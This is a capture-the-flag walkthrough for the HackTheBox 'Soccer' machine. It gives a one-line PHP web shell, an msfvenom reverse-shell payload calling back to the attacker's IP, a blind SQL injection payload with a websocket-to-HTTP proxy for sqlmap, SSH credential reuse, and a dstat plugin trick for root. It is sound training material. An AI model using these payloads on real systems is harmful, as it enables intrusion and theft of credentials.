Level: Easy
User Flag
Add soccer.htb to your /etc/hosts file.
Nmap scan
IP=10.10.11.194
nmap -T5 -v -Pn -n -sT -sC -sV -p 1-65535 --max-parallelism 10 $IP -oA nmap-tcp-allports-${IP}-$(date '+%Y.%m.%d.%Hh%M')
Nmap scan report for 10.10.11.194
Host is up (0.062s latency).
Not shown: 64948 closed tcp ports (conn-refused), 584 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Wed, 08 Mar 2023 15:40:48 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Wed, 08 Mar 2023 15:40:48 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
1 service unrecognized despite returning data.
[...]
We find open ports:
- 80 for HTTP
- 22 for SSH
- 9091 for an unidentified service (will be used later)
Enumeration of port 80 (HTTP)
gobuster dir -u http://soccer.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -t 50
We find “/tiny”. Using a web browser, access http://soccer.htb/tiny/. We find a Tiny File Manager login page.
Exploit Tiny File Manager
Login at http://soccer.htb/tiny/ using default credentials “admin/admin@123” (found with a Google search).
The version of Tiny File Manager is displayed on the bottom right corner of the page. Version is 2.4.3. Some exploits exist on Exploit-DB. However, none worked (even with modifications of the path).
Uploads in the root directory do not work.
- Go into the tiny/uploads directory and click “New Item”.
- Click on Folder and name it “test”. Uploading in this directory will prevent your files from being deleted automatically.
- Create a file “webshell.php” locally and upload it in the tiny/uploads/test directory.
- Click on Upload and select “webshell.php”.
<?php passthru($_REQUEST[c]); ?>
Access the webshell at http://soccer.htb/tiny/uploads/test/webshell.php?c=whoami
Upgrade from webshell to reverse shell
Generate a reverse shell payload using Msfvenom.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<KALI IP> LPORT=4444 -f elf > myprecious.elf
- Upload the file in /tiny/uploads/test using Tiny File Manager.
- Click on the file permissions and add the Execute permission. Click Change.
Start a listener
nc -lnvp 4444
Execute the reverse shell payload
http://soccer.htb/tiny/uploads/test/webshell.php?c=./myprecious.elf
The listener receives a connection as user www-data.
From user “www-data” to “player”
Upgrade to TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
Upload Linpeas using the Tiny File Manager.
cd /var/www/html/tiny/uploads/test
chmod u+x linpeas.sh
./linpeas.sh > linpeas.txt
You can download linpeas.txt from Tiny File Manager to investigate.
From linpeas’ output, we find a subdomain soc-player.soccer.htb. Add it to your /etc/hosts file.
10.10.11.194 soccer.htb
10.10.11.194 soc-player.soccer.htb
- Access http://soc-player.soccer.htb using a web browser.
- Signup with any email address from the subdomain and try to login (e.g. test@soc-player.soccer.htb). It will not work with email addresses from other domains.
- Inspect requests using Burp Suite.
We find that the web application uses websockets on port 9091. A message is sent to the websocket from http://soc-player.soccer.htb/check:
{"id":"123"}
By manually fuzzing with the Ticket Id in the web application, we find a SQL Injection. The usual response is “Ticket Doesn’t Exist”, but this payload returns “Ticket Exists”:
{"id":"1 or 1=1 -- "}
Since this is a blind SQL injection (no output), use SQLmap.
SQLmap does not work as expected (even when using “ws://soc-player.soccer.htb:9091/?id=123”). We need to create an HTTP proxy. See Automating Blind SQL injection over WebSocket.
server.py
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
Start the HTTP proxy and run SQLmap
This step is really slow. Be patient.
python3 server.py
sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
We find a list of databases.
available databases [5]:
[*] information_schema
[*] myszla
[*] performance_schema
[*] soccer_db
[*] sys
Dump the soccer_db database:
sqlmap -u "http://localhost:8081/?id=1" --batch --dbms=mysql --dump -D soccer_db
id,email,password,username
1324,player@player.htb,PlayerOftheMatch2022,player
We find credentials “player/PlayerOftheMatch2022”. Try reusing these credentials with SSH:
ssh player@10.10.11.194
[PlayerOftheMatch2022]
cd /home/player
cat user.txt
c7b6a2043e61aace80c043f611d5f9b1
Root Flag
From linpeas’ output (previously ran as www-data), there is an interesting file “/usr/local/bin/doas” on the machine:
╔═══════════════════╗
═════════════════════════════════════════╣ Interesting Files ╠═════════════════════════════════════════
╚═══════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 42K Nov 17 09:09 /usr/local/bin/doas
The utility “doas” is like a lighter version of sudo. Configuration file is usually in /etc/doas.conf, but was not at this location on the machine.
find / -name doas.conf
/usr/local/etc/doas.conf
Check which commands are allowed:
cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
The dstat command is allowed as root for user player. See GTFObins for techniques to elevate privileges (see sudo section).
echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
doas -u root /usr/bin/dstat --xxx
We get a shell as the root user.
/usr/bin/bash
cd /root
cat root.txt
0ba08f85c0be6abdb1ffa2aeb6f8eaa9